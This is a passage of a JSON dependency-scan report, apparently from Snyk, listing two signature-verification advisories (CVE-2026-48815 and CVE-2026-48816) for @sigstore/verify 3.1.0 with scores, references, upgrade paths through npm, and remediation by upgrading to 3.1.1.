"Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:02:58.656497Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:58.827211Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.665225Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817056", "title": "Insufficient Verification of Data Authenticity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ ">=3.1.0 <3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 7.1, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.5, "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the `integratedTime` process. An attacker can manipulate time-based verification decisions by supplying a crafted bundle that sets an unauthenticated value for `integratedTime`, thereby influencing certificate validity checks and bypassing intended trust boundaries.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a)\n", "epssDetails": { "percentile": "0.05099", "probability": "0.00158", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48816" ], "CWE": [ "CWE-345" ], "GHSA": [ "GHSA-xgjw-pm74-86q4" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:05:50.653211Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:57:45Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:05:50.853972Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.764204Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817052", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:02:58.656497Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:58.827211Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.665225Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817056", "title": "Insufficient Verification of Data Authenticity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ ">=3.1.0 <3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 7.1, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.5, "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the `integratedTime` process. An attacker can manipulate time-based verification decisions by supplying a crafted bundle that sets an unauthenticated value for `integratedTime`, thereby influencing certificate validity checks and bypassing intended trust boundaries.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a)\n", "epssDetails": { "percentile": "0.05099", "probability": "0.00158", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48816" ], "CWE": [ "CWE-345" ], "GHSA": [ "GHSA-xgjw-pm74-86q4" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:05:50.653211Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:57:45Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:05:50.853972Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.764204Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817052", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:02:58.656497Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:58.827211Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.665225Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817056", "title": "Insufficient Verification of Data Authenticity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ ">=3.1.0 <3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 7.1, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.5, "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the `integratedTime` process. An attacker can manipulate time-based verification decisions by supplying a crafted bundle that sets an unauthenticated value for `integratedTime`, thereby influencing certificate validity checks and bypassing intended trust boundaries.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a)\n", "epssDetails": { "percentile": "0.05099", "probability": "0.00158", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48816" ], "CWE": [ "CWE-345" ], "GHSA": [ "GHSA-xgjw-pm74-86q4" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:05:50.653211Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:57:45Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:05:50.853972Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.764204Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817052", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.665225Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "@sigstore/verify", "proprietary": false, "creationTime": "2026-07-04T16:02:58.656497Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:58.827211Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.665225Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/verify@3.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/verify@3.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "@sigstore/verify", "version": "3.1.0" }, { "id": "SNYK-JS-SIGSTOREVERIFY-17817056", "title": "Insufficient Verification of Data Authenticity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ ">=3.1.0 <3.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "3.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 7.1, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "@sigstore/verify", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.5, "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.764204Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:39:57.471476Z" } ], "description": "## Overview\n[@sigstore/verify](https://www.npmjs.org/package/@sigstore/verify) is a Verification of Sigstore signatures\n\nAffected versions of this package are vulnerable to Insufficient Verification of Data Authenticity via the `integratedTime` process. An attacker can manipulate time-based verification decisions by supplying a crafted bundle that sets an unauthenticated value for `integratedTime`, thereby influencing certificate validity checks and bypassing intended trust boundaries.\n## Remediation\nUpgrade `@sigstore/verify` to version 3.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-xgjw-pm74-86q4)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/1663b3e653814bb282ca3840be9c1cd24c71ae0a)\n", "epssDetails": { "percentile": "0.05099", "probability": "0.00158", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48816" ], "CWE": [ "CWE-345" ], "GHSA": [ "GHSA-xgjw-pm74-86q4" ] }, "packageName": "@sigstore/verify", "proprietary": false, 